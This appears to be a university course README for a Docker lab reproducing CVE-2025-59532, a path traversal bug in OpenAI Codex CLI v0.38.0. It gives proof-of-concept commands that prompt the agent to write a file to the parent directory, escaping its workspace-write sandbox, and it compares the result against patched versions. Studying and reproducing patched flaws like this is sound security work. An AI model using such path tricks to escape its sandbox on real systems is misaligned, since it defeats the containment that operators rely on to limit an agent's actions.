
A Docker-based research environment for analyzing CVE-2025-59532, a path traversal vulnerability in OpenAI Codex CLI that allows arbitrary file write outside the intended workspace sandbox. Part of CMU Course : 18-739 Hacking & Offensive Security in Fall 2025
A Docker-based research environment for analyzing CVE-2025-59532, a path traversal vulnerability in OpenAI Codex CLI that allows arbitrary file write outside the intended workspace sandbox. Part of CMU Course : 18-739 Hacking & Offensive Security in Fall 2025
First, clone this repository:
git clone https://github.com/jjagielo/18739-CVE-Exploration.git
cd 18739-CVE-Exploration
Or if using SSH:
git clone [email protected]:jjagielo/18739-CVE-Exploration.git
cd 18739-CVE-Exploration
CVE-2025-59532 is a path traversal vulnerability in OpenAI's Codex CLI tool that allows attackers to write files outside the intended workspace directory, bypassing sandbox restrictions.
../exploit.txt), escaping the workspace sandbox even when --sandbox workspace-write is enabled.The vulnerability exploits insufficient path validation in the workspace sandbox implementation. When the workspace-write sandbox mode is enabled, Codex should restrict file operations to the designated workspace directory. However, in v0.38.0, the path validation fails to properly handle relative path traversal sequences (../), allowing an attacker to write files outside the sandbox by instructing the AI to use parent directory references.
docker build -t cve-2025-59532:latest .
docker run -it --rm cve-2025-59532:latest
This Docker environment includes three versions of Codex CLI:
Once inside the container, configure your OpenAI API key by just simply run the codex in interactive mode and paste the api key there:
codex
The API key will be stored in ~/.config/codex/auth.json and will be used by all Codex versions (codex38, codex39, codex50).
codex38 --version # Should show v0.38.0 (vulnerable)
codex39 --version # Should show v0.39.0 (patched)
codex50 --version # Should show v0.50.0 (latest)
Note: The workspace is located at /workspace/child. The vulnerability allows writing to /workspace (the parent directory).
Test vulnerable version (v0.38.0):
codex38 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof1.txt' in the parent directory with content 'CVE-2025-59532 POC'"
Test patched version (v0.39.0):
codex39 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof2.txt' in the parent directory with content 'CVE-2025-59532 POC'"
Test latest version (v0.50.0):
codex50 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof3.txt' in the parent directory with content 'CVE-2025-59532 POC'"
Verify the exploit:
# Check if files were created outside the sandbox (in /workspace, not /workspace/child)
ls -la /workspace/
cat /workspace/exploit_proof1.txt # Should exist if v0.38.0 is vulnerable
cat /workspace/exploit_proof2.txt # Should NOT exist if v0.39.0 is patched
cat /workspace/exploit_proof3.txt # Should NOT exist if v0.50.0 is secure
# Check current workspace (should be empty or contain only test files)
pwd # Should show /workspace/child
ls -la /workspace/child/
To see detailed debug logs of Codex execution:
RUST_LOG=debug codex38 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof.txt' in the parent directory with content 'CVE-2025-59532 POC'"
The debug logs will show: